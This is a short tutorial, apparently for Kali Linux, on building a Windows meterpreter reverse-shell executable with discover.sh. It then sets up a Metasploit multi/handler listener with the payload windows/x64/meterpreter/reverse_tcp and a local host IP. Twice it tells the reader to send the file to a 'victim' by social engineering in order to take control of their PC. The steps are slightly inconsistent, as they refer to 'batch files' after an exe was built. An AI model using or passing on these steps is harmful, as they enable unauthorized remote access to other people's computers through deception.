Open your kali Linux terminal and type the following command
Open terminal and type ./discover.sh and press enter to continue
Now it will show you various options of tools with target OS and format. In my case I am selecting option 13 and press enter
Again it will show you various options payloads. In my case I am selecting option 6 and press enter
Now it will ask for port no. Enter the port no. Such as 4444 and click OK.
Now it will store a file with name payload-windows-x86_64.exe now send your exe files to victim using any social engineering technique.
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.22
exploit
Now send your batch files to victim using any social engineering technique. Now when the victim will use exe you will get the meterpreter of victim PC.